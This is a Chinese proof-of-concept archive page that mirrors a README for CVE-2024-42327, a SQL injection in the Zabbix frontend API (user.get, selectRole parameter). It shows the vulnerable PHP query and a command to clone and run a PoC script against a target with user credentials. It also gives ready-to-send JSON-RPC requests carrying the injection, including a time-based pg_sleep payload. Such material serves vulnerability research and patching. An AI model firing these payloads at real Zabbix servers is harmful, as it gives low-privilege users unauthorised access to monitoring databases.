POC详情: 0397774cce8397f48b538e173328ee35ef9ffd06

来源
关联漏洞
标题: Zabbix SQL注入漏洞 (CVE-2024-42327)
描述:Zabbix是Zabbix公司的一套开源的监控系统。该系统支持网络监控、服务器监控、云监控和应用监控等。 Zabbix 6.0.0至6.0.31版本、6.4.0至6.4.16版本和7.0.0版本存在SQL注入漏洞,该漏洞源于CUser类的addRelatedObjects函数中存在SQL注入漏洞,允许攻击者操纵数据库查询。
介绍
# PoC and Exploit for CVE-2024-42327 / ZBX-25623

A non-admin user account on the Zabbix frontend with the default User role, or with any other role that gives API access can exploit this vulnerability. An SQLi exists in the CUser class in the addRelatedObjects function, this function is being called from the CUser.get function which is available for every user who has API access.

![изображение](https://github.com/user-attachments/assets/258d2688-cf1d-453f-8ef2-64761f4e122e)

**Vulnerable versions:** 6.0.0 - 6.0.31, 6.4.0 - 6.4.16 , 7.0.0

Fixed versions: 6.0.32rc1 , 6.4.17rc1, 7.0.1rc1

# Vulnerable code

```PHP
$db_roles = DBselect(
	'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
	' FROM users u,role r'.
	' WHERE u.roleid=r.roleid'.
	' AND '.dbConditionInt('u.userid', $userIds)
);
```

Exploit use:
```bash
git clone https://github.com/depers-rus/CVE-2024-42327
python3 cve-2024-42327-PoC.py -t zabbix.xyz.ru -u "depers" -p "passwd"
```

Request:
```http
POST /api_jsonrpc.php  HTTP/1.1
Host: zabbix.xyz.ru
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 186
Content-Type: application/json

{"jsonrpc": "2.0", "method":"user.get", "params": {"selectRole": ["roleid,{SQLi payload}"
], "userids": ["10"
]}, "auth": "---auth_token---", "id": 1}
```

BurpSuite PoC (Time Based SQLi)

```sql
SELECT pg_sleep(10)) AS DELAY
```

```http
POST /api_jsonrpc.php  HTTP/1.1
Host: zabbix.xyz.ru
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 186
Content-Type: application/json

{"jsonrpc": "2.0", "method":"user.get", "params": {"selectRole": ["roleid,(SELECT pg_sleep(10)) AS DELAY"
], "userids": ["10"
]}, "auth": "---auth_token---", "id": 1}
```
## Proof

![изображение](https://github.com/user-attachments/assets/3b0cae9f-8147-4e9d-a4fe-d50a090cceb6)

## References
- https://support.zabbix.com/browse/ZBX-25623
- https://nvd.nist.gov/vuln/detail/CVE-2024-42327
文件快照

[4.0K] /data/pocs/0397774cce8397f48b538e173328ee35ef9ffd06 ├── [6.5K] cve-2024-42327-PoC.py └── [1.9K] README.md 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。